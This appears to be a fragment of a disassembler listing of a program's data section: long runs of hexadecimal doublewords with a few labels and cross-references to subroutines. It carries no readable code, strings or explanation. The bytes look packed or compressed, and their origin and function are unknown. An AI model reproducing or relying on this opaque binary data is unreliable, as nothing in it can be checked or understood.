0D52FDB90h, 585530E2h dd 552532D6h, 0B22392D8h, 0FFFFE0D4h, 64DC52EDh, 0DCCC6407h dd 8B225CD8h, 14FE76B7h, 3C2CCAC8h, 95DCDD11h, 5FFC2D12h dd 0D8E5C98Dh, 0D2D800E7h, 0CB646600h, 0FFFFD6D8h, 0B190FE0Dh dd 290C831Ah, 2556B072h, 0DEB0E70Eh, 4862B6E6h, 871B16Dh dd 0F5BFF842h, 260180FFh, 0B8F9CA19h, 1869E7E0h, 47532244h dd 0F06C9B7Dh, 4751EA55h, 0B7FB7FC2h, 6CD08A0h, 51471066h dd 86533AE5h, 0C5DEC1Bh, 6FFE8E20h, 0FF04E974h, 0A98B60C4h dd 0EC189719h, 8236A995h, 0FFFFBC11h, 4A628DEDh, 0EB919C45h dd 1A02C94h, 0E5DC7AF1h, 0D4371D82h, 0FA1168C4h, 52F8DFFFh dd 50631C3Eh, 6245BA02h, 11906494h, 0EB4267BAh, 31010807h dd 4BFFA508h, 0F5BA97FFh, 48F08BFCh, 500B8B1Ch, 42D11B40h dd 6E1B3920h, 0FF9F6714h, 0CAFFFEA5h, 39D0844h, 0CE748540h dd 12A2C711h, 29180304h, 959E0047h, 0BF749788h, 10FFA5FDh dd 0D98303D5h, 0C98E6E24h, 0B034AF1h, 442D1CCFh, 0B6DDC560h dd 0FE3716A8h, 3A7092FFh, 54C68812h, 0EA9824B7h, 28790C59h dd 821ED990h, 0FF4AA5EAh, 247A5524h, 0F8C76C11h, 19522449h dd 0DFFFFFFFh, 82AD70BEh, 80F012E9h, 4C0B36E7h, 429C813h dd 73510C97h, 58E868B1h, 0E5E81Ch, 0FFD2FFBFh, 86ED44FFh dd 0F0E139Bh, 6303E585h, 0AD208F7Ch, 320C2007h, 1300BEA9h dd 0C6ACE7F1h, 78FD0BFFh, 0ED9113FDh, 5E348F8h, 7CFFDEF0h dd 0B2C2EF12h, 0FFFF5E62h, 8796FE25h, 1FB4199h, 9150B766h dd 0C27D1D88h, 746E6D43h, 2DB41A06h, 0FF12FFB0h, 173986FFh dd 2119C17Dh, 0C05F1A18h, 1C1A807Dh, 0E0358B5Ah, 0C116296Eh dd 0FFADFF0Ch, 277231FFh, 9D7304F8h, 0C72C59BDh, 45273127h dd 5DF9A2B8h, 360ADB4h, 0FF412EA1h, 11FFFFFFh, 0CA4DE75Eh dd 3560C85Ch, 4B620F01h, 0B88E1703h, 0BAE85E02h, 346D5433h dd 0E824C6E0h, 0A5A88283h, 6DFFFFFEh, 54CB08ECh, 166615E8h dd 0AC7622BAh, 43B8AD6Ah, 625FDFEEh, 0FFFC603Fh, 25FFFE37h dd 25DEEEE8h, 0C59BD98Ah, 667066BAh, 81448D5Eh, 9843F489h dd 16F999B1h, 2FFDBF04h, 8720EFFCh, 0A0EC642Fh, 680D3FB4h dd 30817702h, 46267B09h, 0FE880761h, 9AF46FFFh, 0C1B674A9h dd 4B9EC96h, 0FD20F380h, 6D9B1BE9h, 242AF6E7h, 0FA5E888Bh dd 0B7B0A5FFh, 0BC91396h, 1F00039h, 8F257AD1h, 7C01AF04h dd 37C2FFFFh, 203F2871h, 9CCA793h, 781BDB3Ah, 0A812436h dd 0E9B9C305h, 0E2DFFF76h, 0A4BEFFh, 66989910h, 177DA078h dd 8EA420D8h, 0B01D5329h, 520CC2E6h, 0FFB7FFD6h, 9FE39FFFh dd 0AE65A797h, 0CCF9B092h, 3BA5C09Fh, 0B48002Ch, 0D81789D5h dd 9E9DE32h, 0FFFE97E6h, 0E49388FFh, 8CBB64C2h, 0F5098800h dd 2D7317F8h, 45B904C2h, 84E98DF5h, 0FFF5D8DBh, 55FA5EA5h dd 5B202CBAh, 0F5A7820Eh, 720BD803h, 4DF5D9A0h, 0FFFFFFA0h dd 0B7A66CFFh, 0EBA0D97Bh, 0DFF405B0h, 0A8D891F4h, 0E852FE41h dd 38F0E15Ah, 784F27F0h, 8189BF1Bh, 0FFFFFF33h, 110C01FFh dd 7B3CBBF0h, 0F20AEB25h, 0D2320183h, 0CF2CDA13h, 457C4696h dd 48D0A78h, 93B9B354h, 0DFFFF812h, 0B7E978FEh, 5ADB8563h dd 0B42804ADh, 3BBF133Ah, 6E5CB04Dh, 3D3C5603h, 8DFF3C3Dh dd 58855F4Ah, 766DD341h, 9A2F03C0h, 6A5E243Eh, 0FFFFE02Ch dd 0B4A3BFFFh, 3E3DFE63h, 5F13CF7h, 0F7EE17C4h, 0C6FA121h dd 5215F4B8h, 0D790485h, 8DF8B7Fh, 250B18D6h, 55EB9D28h dd 5CC5178Fh, 0A97FFF36h, 897C26FFh, 4ECC54A2h, 0C0A32AF7h dd 2D31CD87h, 3A39D068h, 0C1C5181Eh, 0FFFFF835h, 0F8501CFFh dd 43B11B7Dh, 3D19D662h, 209A0570h, 7A358h, 0F67E4860h dd 203A5A2Ch, 0FE8D0371h, 8B791637h, 66CA51E2h, 75305921h dd 0FFBEF747h, 664BFFFFh, 0C6692F33h, 0C213B005h, 64081E20h dd 0FA013FE5h, 8E080h, 0A03C328h, 0FD0BFF48h, 7D948942h dd 0CAD03605h, 2442B15Eh, 1E8835AAh, 0FF882198h, 265A0CFFh dd 9DA12402h, 180B880Ch, 0CC1B20A6h, 0E044B3B6h, 907F16FFh dd 840E2F13h, 0B0B20225h, 28A4A43h, 838249AFh, 0DFFE17F0h dd 0C2B92830h, 0C62C155h, 5E2A4398h, 1201DD8Bh, 0FF20DD26h dd 9DBFE37Fh, 0B30B28B5h, 0F716726Ah, 0EB844FE0h, 787E6A10h dd 9AACB502h, 0FF9F7C41h, 62D502FFh, 0EF17D055h, 2878A35Ch dd 0DB3F607Fh, 0C5AE168h, 0FF6FFF8Dh, 0CB2EDA46h, 0E921DD06h dd 0F0E80A1Ah, 21C8C509h, 0B78FFCF0h, 0FFFFFF5Eh, 7B670DBh dd 0DF183391h, 70A3FA3h, 7734C59Eh, 0FBBFD730h, 889A81BCh dd 0A08D41B4h, 7A17FF06h, 0EB27EBE1h, 0A5A2381h, 60FBF031h dd 8510AF47h, 1661240Bh, 0F3FFD4BAh, 52358281h, 240C3148h dd 3D927480h, 0FFFF1D3Ch, 3A8A25FFh, 0E48446F3h, 4FFF5C59h dd 0B2530341h, 5569B485h, 2B416Eh, 0FFC0C058h, 0EC45B02h dd 0F478AD03h, 633C68A5h, 0F8B230AAh, 0D1FFFFFFh, 0F4F3ECA4h dd 0EB94968h, 0EC98A6A8h, 0E16558C3h, 0EDA0C424h, 0F41E557Ch dd 81B6324Dh, 5105A2DFh, 0FFA4E83h, 7F05ED93h, 0ADFE0DA1h dd 40879C2Eh, 40AB8B10h, 0FADB0E4Bh, 0D87042ABh, 36FFD0BAh dd 38400B40h, 92A5B5E8h, 5A211AA1h, 0FFFF3A47h, 746C5A97h dd 2C3A1047h, 0DD980759h, 90A09AAFh, 7A8468BDh, 560EA4CAh dd 0B606FE37h, 45D5F83h, 0CD524150h, 0FF3FA454h, 0CF25FDDEh dd 91AC05h, 14105CA8h dd 201C1807h, 302C2824h, 9FCFE7F3h, 403C3834h, 504C4844h dd 60B05854h, 0FCFE7F64h, 706C68F9h, 807C7874h, 908C8884h dd 0A09C9894h, 85EB7FA4h, 49997CBh, 0D9E8CC00h, 355759Eh dd 0F55F6D4h, 0FFF02D44h, 0C60352B6h, 0A69A6CB3h, 12FEECDAh dd 7D5B4D32h, 44276FF7h, 0A08C7458h, 0C60A36B8h, 0F0E6DCh dd 0FEEEBACEh, 59AEFFF6h, 3A3B9E0Ah, 62035607h, 6E2969A6h dd 0BAA09084h, 0F0D0334Dh, 0FFE5F108h, 5434FEDDh, 9C847229h dd 815292AEh, 2B1A86B9h, 115BFF7Ch, 6E9B5DBFh, 87F3A890h dd 6C0B50DCh, 0DB38341Dh, 0FFFFFF53h, 7D23B1FFh, 0F7FFAA66h dd 4BC521FFh, 0B975A44Eh, 2EB7FCCCh, 3A63FB81h, 726F775Ch dd 0B6A25C6Bh, 5BFFFFBFh, 32839FDh, 0BC6F5C6Eh, 885C0270h dd 0B7D820DFh, 702EA074h, 0EC006264h, 0FFF1BFDDh, 12BE82FFh dd 13C3F5BDh, 0BCB90F31h, 1907F2E4h, 2EB5190Dh, 2E4B09BBh dd 0FF315E2Fh, 64FB9A17h, 98339231h, 88D30515h, 7737B435h dd 0BAB70959h, 897F8D03h, 0C6CB27FFh, 5CC075EBh, 452910Dh dd 0B2B08556h, 165EB313h, 2DFFFE5Fh, 5E50FF55h, 43775A05h dd 316B6F6Ch, 629BB6CDh, 5F0E5067h, 15FFFFF8h, 556F4F88h dd 4BFE054Bh, 52046C34h, 0C1175A0Ah, 158E6C74h, 1B74B302h dd 0FEB7E97Fh, 23745347h, 0B28C367h, 57273E84h, 0B6E0B800h dd 50566FB7h, 0EA837FFFh, 106C6F6Fh, 42246154h, 0FB16CD13h dd 74614A50h, 0FFFF3517h, 51A9E2DFh, 306E02AAh, 6D377972h dd 6ADE4411h, 219ED6B2h, 50B40012h, 6FE85473h, 7B70FF44h dd 53B50A90h, 6C277379h, 255EDB7h, 0A9706FC7h, 6157DFDFh dd 4558465Eh, 36A23C6Dh, 0DFFFAAD1h, 5BFFF8h, 5DF00FFh dd 6378655Fh, 26685F2Ch, 1685B5B5h, 7828B72h, 1C5BDADBh dd 0FFFFF897h, 0B666552h, 422763C8h, 0DD732179h, 1E48B1h dd 51436191h, 0DC0A6A5Eh, 0FFF4BFFFh, 7B5F4A00h, 0B6657645h dd 0E6BADB0h, 72A266ACh, 9EE02B4Ah, 193CC19h, 0FFFF0024h dd 2569FFFFh, 0EC3C0077h, 614E6833h, 770622BBh, 0DB828D6Ch dd 6D337363h, 6D0F2370h, 2BAE671Ah, 0FFFF2967h, 0F163FF4Bh dd 0DCFC467Bh, 111F77Eh, 0F7706319h, 6F49020Ah, 6C7A4366h dd 2802EB44h, 0E05FFFFFh, 0DCFD3601h, 76E201DBh, 64247542h dd 430C7E44h, 0B52E0AB1h, 6C226A6Fh, 0FEB7FFF8h, 5B73EA52h dd 211D1AEBh, 4C6C0E52h, 4C3EDB24h, 0B7009D36h, 0FF717341h dd 2D37FFFFh, 660F6B78h, 0FA4D9B89h, 6D4D036Dh, 5010A0A3h dd 5A495CE6h, 4C620161h, 0FFF15085h, 4AA7C2FFh, 0F115832Ch dd 0A9724921h, 82B60B4Ah, 31B586FBh, 6EFCE7A8h, 6FFE0DFFh dd 0D6BA22D3h, 6805622Ch, 320EC3D1h, 0DD6FAF0Bh, 0C15394BEh dd 0FFF897FFh, 0F5214686h, 866C4966h, 433AD6EDh, 6F6DA66Bh dd 845F48CDh, 4CDF0EFCh, 0FFA37FFFh, 37A11F69h, 8574414Dh dd 4F98CD82h, 0C381DC83h, 79841B9Dh, 0E3153992h, 0FFFF46FFh dd 7C727543h, 421D90B5h, 63A0A774h, 0CCE19B0Ah, 634D5493h dd 6FDDDFCAh, 0FFFFDA25h, 0EC10AC1Bh, 5E70756Bh, 3D490890h dd 0AE1984DBh, 5FFEE176h, 0F0BA5817h, 30C3C2B5h, 0E8616201h dd 6E47DF96h, 0FFFFFFD1h, 2963176Bh, 0C2DA9778h, 8B293B92h dd 60726B45h, 6EE36AA6h, 65872E6Ch, 837FB54Fh, 767CBFFAh dd 6C715561h, 93664D13h, 0A7ACFA77h, 520D4E0Eh, 0FFFFFFF8h dd 550DB6AFh, 48782A76h, 0C24C41h, 18146E9h, 61B0EEh, 0A4E9B1EDh dd 45F8B453h, 0E0D0BFE5h, 7A71C897h, 1D7A6FF7h, 0A297378h dd 0FFF84517h, 207916FFh, 0E07110A9h, 0FD869C10h, 0F2E20B46h dd 492099EBh, 114C5152h, 0B037A171h, 0BA28B7FAh, 0FFE85C00h dd 0DDEF37FFh, 82A9A352h, 74037950h, 0FECC6D09h, 4E17D75Ch dd 0F6609h, 0F428372Eh, 0D802625Fh, 3E006890h, 3DA40771h dd 0DF8D6292h, 632EFFE2h, 0E0534100h, 0B7B22254h, 6481036Dh dd 9F742F7Ch, 0FFFFFFFFh, 0F544038Ch, 2630776h, 0DCD12ADh dd 9CD5F2FAh, 17B2BE48h, 54630054h, 41DE072h, 1D732B4Bh dd 0A955BFF0h, 0A2E70B41h, 0A17703h, 0E0886E80h, 6FFFFFA2h dd 0F70917DCh, 141BE028h, 69767C58h, 75536E78h, 61888F63h dd 0FFFF897Fh, 12204726h, 60D1373Bh, 41DD1060h, 3520296Ch dd 43E0CDF4h, 7FFFFFE1h, 524B3828h, 1BEF69FEh, 2057BFEDh dd 4E203D21h, 1D4C4C55h, 555254ECh, 0D52FA245h, 35A87FFEh dd 7F192747h, 0EC303629h, 0C2B6857Fh, 64770C24h, 0DBFFFFFFh dd 0BBAA2E6Dh, 1A68F75h, 0F56F4770h, 26CA740Fh, 0F1F9BACh dd 27732573h, 5850763h, 0FA37D0BFh, 1170400h, 0CD5CCDh dd 30AA1818h, 200DD743h, 0FFFFFFFFh, 9480809h, 7145B458h dd 0E4A623F2h, 0E0DE3C04h, 785487C2h, 3DC96C6Dh, 3A6E8C22h dd 6B704473h, 0FFFFFFFFh, 18137025h, 9AD06D2Dh, 0F5F18228h dd 8226103Ah, 764FBEA6h, 8A202231h, 0CDFD669h, 0F856820Dh dd 0FFFF817Dh, 2E313297h, 0B7152230h, 0D3EFB0Fh, 4B2F3C0Ah dd 44011F3Eh, 0FFFF1544h, 0BED6FFFh, 858589Ah, 2BAA6F0Fh dd 8CC02946h, 303C3026h, 0FE5FFFFFh, 315D30BCh, 0FFFF3190h dd 32DBF56Fh, 72253241h, 93327B32h, 0CF32BA32h, 0E330032h dd 114B2633h, 77FFFCh, 2B33FFFFh, 5F335533h, 6E336433h dd 0E533DF33h, 3495199Ch, 0FC0B341Fh, 3426FEB7h, 34393433h dd 5B34CA49h, 68346134h, 34608534h, 0FFB1FFFFh, 34A43497h dd 34B134ABh, 34BD23B7h, 34E534E0h, 350034FBh, 35713550h dd 6FFF3584h, 358FFFFEh, 35D73599h, 35F235DCh, 360D35F7h dd 36B712h, 37D337ACh, 37F137D8h, 0FFBFFFF6h, 380F37FFh dd 38763814h, 38A3387Bh, 38C138A8h, 5F4338C6h, 0C639BC39h dd 0DF39D539h, 502FD439h, 0ED3A46E0h, 323BEC4Ch, 0FA3B483Bh dd 8ABD6FB7h, 0F4E3C02h, 0FE3C5D3Ch, 3CDDFC94h, 3D523CF9h dd 5FFBBFE2h, 0B79420CBh, 0F234AF32h, 0EF378A34h, 0D435BF61h dd 72362F35h, 5FF4BFFFh, 36DF3677h, 371A3705h, 6B37193Ch dd 22380437h, 0B1386C38h, 0A9EDFFF4h, 7DF055BFh, 0E079B38h dd 397D396Ch, 0FF86399Bh, 387FFFFFh, 0DFFF3AE1h, 7780BFFEh dd 5E3B493Ah, 0E3BF03Bh, 3C203Ch, 3C6B3C4Dh, 3D2E3D10h dd 0FFFFFF56h, 3D5B3DEFh, 8D3D7C8Dh, 263D973Dh, 633E3B3Eh dd 823E763Eh, 0C43EA13Eh, 0DA3ECE3Eh, 6FFFFA3Eh, 0A13F83FFh dd 0F63FB33Fh, 0D3CD213Fh, 0CC143FFBh, 302D301Ch, 30CF3037h dd 7FFF30E4h, 1F2337F7h, 4A312B31h, 6D313C0Dh, 83317731h dd 5C323E31h, 0C6329232h, 0EEFA9732h, 0EC32CBFFh, 1B32FD32h dd 7E434C33h, 0A133F8E6h, 72FBAB33h, 0FFDFFF34h, 0BB34B6FFh dd 0ED34DC34h, 3C350B34h, 6E354F35h, 78359135h, 3644359Bh dd 36A63662h, 0FFFFF6ABh, 36CC36FFh, 36EA36DDh, 3743372Eh dd 37753762h, 37A03781h, 37CD37C3h, 0DFC2FFADh, 0EFFF09D9h dd 38DAFFFEh, 4C391741h, 0F539E039h, 0F7AF0639h, 3A2F3A37h dd 3AB03AA9h, 3E603E4Dh, 5FF7774h, 3E783EFEh, 3E803E7Ch dd 0AF3EAA9Bh, 0CB3EB53Eh, 0E77F1FADh, 0D1BFFF3Eh, 53EF2FFh dd 153F0F3Fh, 193F1B3Fh, 3F433F32h, 3F503F4Ah, 3F703F5Eh dd 37FFFF7Ah, 3F8B3FF8h, 0FFB07F92h, 0AC3F983Fh, 0EA3FD63Fh dd 0BA840CBh, 21301B30h, 56E2DF30h, 30912BBFh, 6B30A635h dd 308230FBh, 0FF5BEE8Ch, 309730FFh, 30A4309Eh, 314B3144h dd 31A03191h dd 0AC31BAA4h, 0A8F1F85Bh, 0B0EADFFEh, 3210FE31h, 323C3225h dd 32543246h, 0A37F3261h, 328BB7F0h, 0E3EBC187h, 0EA6D683Bh dd 0F632F032h, 0F6FFFF32h, 232FCFFh, 143D0833h, 20331A33h dd 0BFFF1643h, 3332332Ch, 333E3338h, 334A3344h, 0BDFFE50h dd 335633FCh, 9D62335Ch, 73337451h, 3380337Ah, 338C3386h dd 0EFFFFFFh, 339E33C0h, 33AA33A4h, 33B633B0h, 33C233BCh dd 33CE33C8h, 0D2CD33D4h, 5B7C3D0h, 33DAFFFEh, 33E633E0h dd 5031F2D1h, 77E41C24h, 0FFFF56FFh, 312C3120h, 313C3130h dd 314C3140h, 5D5C3150h, 70316C31h, 0FF317C31h, 80FE005Fh dd 23E25831h, 2F945008h, 97F02A00h, 544820BEh, 0FF2F5054h dd 71FFFA37h, 5C070DEDh, 0CB634103h, 2A2F2A55h, 122DFC22h dd 542D0269h, 0A9657079h, 3AFFD5BFh, 23896289h, 95617045h dd 8BB5FC2Fh, 3B2B2DA0h, 0FFD5528Fh, 0E46EC27Fh, 3D33A380h dd 0E2AB002Dh, 6437BF8Dh, 0FF80CE37h, 3064FA17h, 17528163h dd 412D0D85h, 71525767h, 4BFF6480h, 5A6B05FCh, 882B712Bh dd 5E9A1008h, 5CD65D0Bh, 0FF4828DBh, 19FFFFFFh, 4C879D22h dd 0BDD28A8Eh, 68746704h, 1E716413h, 6C7B0216h, 69444275h dd 2E0689DAh, 0FFFB6158h, 47FFFFFFh, 0CB151E0Dh, 0CD7481C7h dd 0B7DB04Ah, 1D660C22h, 0A1231510h, 2E678ABBh, 6B0B2214h dd 0A9497DADh, 0A6FFFFFFh, 18636F2Fh, 0AB4AB17h, 325ACDACh dd 45990397h, 0D5AEB28h, 81002030h, 0FFFF8B2Eh, 28C4067Fh dd 0DC8D2900h, 670254C5h, 0AC4145B0h, 0CF906419h, 0A4A80F07h dd 0FFFFF1C6h, 2190197Fh, 0BA98039Ch, 4066901h, 885F0690h dd 406E92D8h, 0B1800F05h, 97D81C50h, 662FF828h, 6C29020Bh dd 12D525B0h, 0E9C8B605h, 66FF5BFFh, 0A9031F3Dh, 0A113F20Fh dd 26820040h, 9773626Eh, 0D8C70D8Ch, 0EDDBC07Bh, 29F8547Fh dd 0C339CD5Ch, 0C0004065h, 62213203h, 0A17B7FD3h, 2007ACBFh dd 0FE937874h, 6D7479BEh, 70600827h, 2717068h, 0F9C5BE2Dh dd 45612EF3h, 43881764h, 0C155BFF8h, 0BB6D3474h, 681016D8h dd 61772D27h, 0B7FFFFFFh, 6EB7D2B8h, 2E2A0BDFh, 7646002Ah dd 721C6A67h, 7C765A5Ch, 0EEF7DBFAh, 0D6662h, 5CFFFFE2h dd 34F4E4Ah, 6F6E0434h, 79765320h, 97DDFB7Eh, 0FFFF41EAh dd 2F05DFFFh, 637A7247h, 6C2C6562h, 67615620h, 9B637FA3h dd 1E677292h, 62595766h, 0FF936E70h, 55FFFFFFh, 466DDAE1h dd 0C1766712h, 0A96EAB11h, 52504FDFh, 4C49464Fh, 5C6C3AF1h dd 935B6EBh, 0FF475C62h, 76FFFF6Fh, 0B600F00h, 0FA086F56h dd 0AC45640Fh, 0C6249EFEh, 9779732Eh, 220D6078h, 0FF1BDAC5h dd 53FFFD2Fh, 884C5259h, 4D455717h, 183A835Ch, 5C604B11h dd 5B279C53h, 0A724BDA0h, 0D0BFF539h, 4220FA1Bh, 75D72F4Eh dd 6461FA73h, 0BFAA5322h, 336837D4h, 0D3B2F2C6h, 13479B86h dd 0FF6F3033h, 0A0FFFFFFh, 84E5C816h, 9EC9FCA9h, 0F639F26Ch dd 6B0FD407h, 2192403Dh, 0E91FC899h, 85C80ED0h, 6A40781Ch dd 80FFFC1Bh, 34EC5F57h, 5B1BDB9Fh, 311D0B03h, 1CC96F67h dd 0DFFE97FFh, 0C21F732Ch, 5F2F645Eh, 7B40C777h, 0E487245Ch dd 517F00CCh, 0C285C982h, 0BCB7FFFFh, 0D884DC36h, 0ECBB01Bh dd 89FB867Dh, 7CC78C0Bh, 1401FC85h, 0B6DF76A2h, 0A218FFFFh dd 0D840A324h, 0A3B215EDh, 7B1BA464h, 0B73C87A4h, 6D1BABF4h dd 0FFFEDFABh, 0ACA9C7FFh, 481B7085h, 0AD041BADh, 0E48BC67h dd 0AEF2C0C9h, 4896BC0Eh dword_3E3000 dd 0C2B0C753h ; sub_3E51D6+D8r ... dword_3E3004 dd 0FDBFFF1Fh dword_3E3008 dd 0C86D2FBBh ; sub_3E5950+Er ... dword_3E300C dd 815FCDCFh ; .data:00417E4Fr dword_3E3010 dd 312212D0h ; sub_3E5546+FCr ... dword_3E3014 dd 0CD1FF9Fh ; sub_418560+10r dword_3E3018 dd 71857922h ; .data:003E5DCEr ... dd 0AFD1CBh dword_3E3020 dd 0C4A2DFD6h ; .data:004185D5r dd 0A1D442FFh, 7B1FE2ECh, 5DC0EBD8h dword_3E3030 dd 28C904B5h, 0FF52FA2Ah, 413448A5h, 9A160102hdword_3E3040 dd 0B22FB066h, 5180407h, 3BFF106Fh, 60D69A4h, 0C10C0709h ; DATA XREF: sub_3E5151+26o dword_3E3054 dd 0BCA41906h, 0DFBDF61Bh, 17F8DFFEh, 3B570B90h, 7482573Dh ; DATA XREF: sub_3E5151:loc_3E519Ao dd 13100D83h, 90120311h dword_3E3070 dd 2117F91Bh, 0FCA37635h, 7410FDBh, 5043641Bh, 38175233h ; DATA XREF: sub_3E5950+9o ; sub_418150+9o dd 0E2F30753h, 59C6B7B7h, 0C1BA3EBFh, 7020A217h, 0D1FB061Ch dd 50DFDBFEh, 802FC772h, 0B02581B3h, 1F8207C1h, 538F8483h dd 0BF77F2FFh, 9E299178h, 0A4436CA1h, 9FB7A76Fh, 1FCE41C2h dd 330718D7h, 0FFFFF103h, 0C9688BFFh, 146CE30Ch, 701B216h dd 76511F17h, 4F2F2366h, 632A0F92h, 407367A7h, 0FD4BFFA6h dd 7878416Fh, 4C3B40E7h, 32200907h, 880A9B2Ch, 115C10E6h dd 0BF78DE2Ch, 123E96A9h, 0E5DC1308h, 7CDBB618h, 0FC4B441Ah dd 1B8FA7FCh, 0E4E41C0Ch, 601FC41Eh, 0F52F21A3h, 0B2CDE25Fh dd 22E38659h, 8078E290h, 79705EEBh, 0FF167A70h, 72FFFE5h dd 985187FCh, 0FF07DD7Bh, 14CE02A7h, 5001072h, 0E0ABEF90h dd 0BDFDFE97h, 0A80C81A8h, 8B6404C7h, 0BF89690Ch, 7C5B0BF4h dd 5A820003h, 46017700h, 4F77B07h, 0FF42FF08h, 82CEA485h dd 17218279h, 6307DFA6h, 0A593F3F2h, 7FE09F81h, 0FCFFFFEBh dd 0A8807E40h, 423D9C2Fh, 0DAA3C178h, 0FE81CCA3h, 60C44007h dd 412FB583h, 0FFE8DF57h, 0DDFFC8FFh, 0A2CF5FB6h, 1AA2E4h dd 0A2E8A2E5h, 0DBF27E5Bh, 5109A193h, 0ADF89705h, 5EDA03FFh dd 0DA5F5FDAh, 0E4FDDA6Ah, 0D8D357F6h, 0FF39F9DBh, 31FFFFFFh dd 50ED1C7Eh, 0EB023061h, 98107B43h, 0F78A889h, 7600ECBDh dd 6B48AB01h, 0B7EB1823h, 0DBB83B6Ch, 0D7F85E2Dh, 0F13FEFA0h dd 3F906A02h, 0C13DE162h, 0FB7FF0EBh, 0E9080252h, 1F26B06Eh dd 5F40E8F8h, 1D3B0BC0h, 7C41B10Bh, 4E75BA9h, 0D4088D96h dd 883BDB06h, 91DC8706h, 62E9A92h, 0FFFFE893h, 7FF03FFh dd 7E122B78h, 0A809341h, 137ED667h, 19B1C641h, 0CB1344BFh dd 0F6E503D3h, 5FC37FC2h, 0ED1A2796h, 41F6AC03h, 0B8B4B09Ah dd 34C4C0BCh, 5FFF455Dh, 0F2F8E002h, 0A6D0DCC6h, 0C8D34EEBh dd 3CC1FBCh, 0FB78B7D0h, 0D8D41E7Fh, 0E8E4E0DCh, 0EC0ABDD7h dd 0A80BF4F0h, 0FFF57A03h, 4DB3DF56h, 2FF298A0h, 3880790h dd 0BB42E080h, 6005B605h, 4C09C23Dh, 0EADEDC40h, 409FA17h dd 5842B6FBh, 44FB2EDBh, 23DF03ACh, 0B7FFFFFFh, 2B007F62h dd 64882E43h, 0A047190Fh, 2D07417Dh, 0B2303A90h, 9360BB10h dd 0FF2F241Ah, 0CBFD0BFFh, 56483400h, 4573AA01h, 6B030F74h dd 1C9E0A47h, 0F1F07080h, 0F8535047h, 94FFFD6Fh, 5492816Ch dd 0C9B0443Fh, 6E385E05h, 0F5134C47h, 0BD9A4ADh, 0FFA11703h dd 37DF5FD6h, 3BEBD348h, 0D4B5F75Ah, 34D9669Bh, 1B3411F3h dd 4E70DFFCh, 65C0A86Dh, 77533A33h, 534D3B8Bh, 0F5D3BA6Bh dd 0F2FC6EADh, 0D51C2227h, 14DDCAEh, 497830BDh, 0FE01BEEFh dd 0B669E36Fh, 4857115Dh, 384003F6h, 20283091h, 1BFB1018h dd 86F6Fh, 0E0F2F5F8h, 0D8204CFBh, 0C400C8D0h, 8FFB1B07h dd 66B7E05h, 3403B0B8h, 90985C9Ch, 30788088h, 0D6F0FFE5h dd 505860DCh, 343C480Ch, 741C242Ch, 0FD68519Bh, 80C14FFh dd 0F487F4FCh, 0D6760CD7h, 0DDC6FF4h, 0DDDF772Dh, 0ACB87B8Eh dd 0A34943Ah, 787C848Ch, 6CD31174h, 63DADF64h, 4C545CEFh dd 0D203B1Bh, 0C7C0A5Fh, 0FF0FF46Fh, 0F3FE1ADFh, 359DD74Dh dd 3717BF3h, 7BEED93Dh, 0FBFFF3B3h, 0B40FC0E3h, 0FFC1BDF3h dd 2200F7FFh, 0F3ACE204h, 564004E3h, 2231789h, 3744642h dd 0FA1C9020h, 414BF4BFh, 0D024A716h, 2A8C31D8h, 2A894D17h dd 0F581EC6h, 5FFFFFFFh, 224C0D87h, 0E3A71507h, 54184666h dd 1CA99B4h, 1ADF6574h, 7661654Ch, 153B4515h, 0FF06EAA5h dd 1584CCFFh, 56E2C73h, 0F16C2BA0h, 28416E18h, 63090EF3h dd 0DFFFD1BFh, 0D17970E0h, 0DA0F5009h, 0AB3A01F2h, 1CC75228h dd 8049736Fh, 0BC1BFF81h, 624E27D4h, 6A160D40h, 0BED8A01h dd 54D86260h, 0F02FFF7Bh, 0E62E6BFFh, 227A89DCh, 6E0A3E89h dd 6469A802h, 72616898h, 9C4D6F54h, 0FFE0AB42h, 5C88EF02h dd 71141345h, 9375A2A8h, 0FFFC6F69h, 3358757Fh, 417C4EC4h dd 9C2D3B1Dh, 2CD41228h, 15135A11h, 0F57E9AFh, 7AB71B95h dd 2761B5EBh, 0DF5EADCEh, 8603B6A3h, 0FFFDB579h, 687A9EFFh dd 5670614Dh, 7D858469h, 4F7765F6h, 6E558C66h, 6F0D106Dh dd 1B5689EAh, 0F747E76Fh, 7E11F991h, 0FFFF5603h, 0DEE5727Fh dd 6F5868A3h, 558A889Dh, 0EEB99BCh, 0A44B2A52h, 7B0362D6h dd 0FC4BFFFFh, 379D602Dh, 45714EDAh, 0A8EA56E6h, 0F71610D9h dd 2A715F62h, 0A90416F3h, 0DCFE854Bh, 6E694654h, 9FFEBC22h dd 0F13EAE0Fh, 377FFC4Bh, 70DB9A10h, 0A8041E12h, 0BD4E6D61h dd 15ACD1FAh, 0F0B8DFBEh, 7B63792Fh, 217E9D23h, 0C34ED661h dd 0E60215A8h, 0FFFFFF16h, 447719FFh, 1035CDC4h, 41A6BBDEh dd 1E095173h, 193505Fh, 50AD012Bh, 6A02E445h, 125EA503h dd 0FFFFF5DCh, 0FEBBC1FFh, 6F5F847Bh, 0E0C42630h, 7E531DC9h dd 0B3182906h, 222B1264h, 3A88F441h, 0F12FFF90h, 7FF69DBFh dd 35EC0EEFh, 0B4EE5722h, 425E6873h, 0DAA06675h, 4B66B9CDh dd 0D3FFFE15h, 70650B51h, 0A0999A06h, 0A8704696h, 97805909h dd 5B7F50Ah, 0E10CA4FEh, 5DB3B875h, 16006E16h, 2E3361BCh dd 0FFFFF045h, 0D236CE2Fh, 2920A08Dh, 0B070754Fh, 0BD286D9h dd 6FD46D16h, 40060C79h, 37837FDBh, 76AE2328h, 7E27B050h dd 0BD96740Ch, 85FFFF80h, 51E810FEh, 0DEA219FCh, 815CE27h dd 62823351h, 918FE6BDh, 853D6CB0h, 0FFC0BFD3h, 0B10ED40Bh dd 4EB4C68h, 615E4BF8h, 1C675987h, 0FFB47349h, 6DFE97FFh dd 48C6D141h, 78800B67h, 5083CE67h, 42E7505Ch, 5B6CEC0Fh dd 6D20630Ah, 0C1BC5B15h, 7B6544FFh, 3624BAB0h, 0ED4FDB41h dd 7E340C09h, 0FFFEA55Bh, 0B1D356FFh, 19C2AA00h, 0F2C897A0h dd 41CB784Dh, 5316180Ch, 613A425h, 8DFF6A50h, 0F1C3DCFEh dd 76962463h, 6AC1FB92h, 2F30CB25h, 4BFF7457h, 0C3B5176Fh dd 3658E76Ch, 177CD4E9h, 8179473h, 0FF56C239h, 176FFFFFh dd 6059A71Bh, 9DFE57h, 23146769h, 52C25149h, 8A024C21h dd 86F655B7h, 5F8C5834h, 53ADFFFAh, 764AD362h, 440FCB70h dd 86864217h, 0D0918A6Bh, 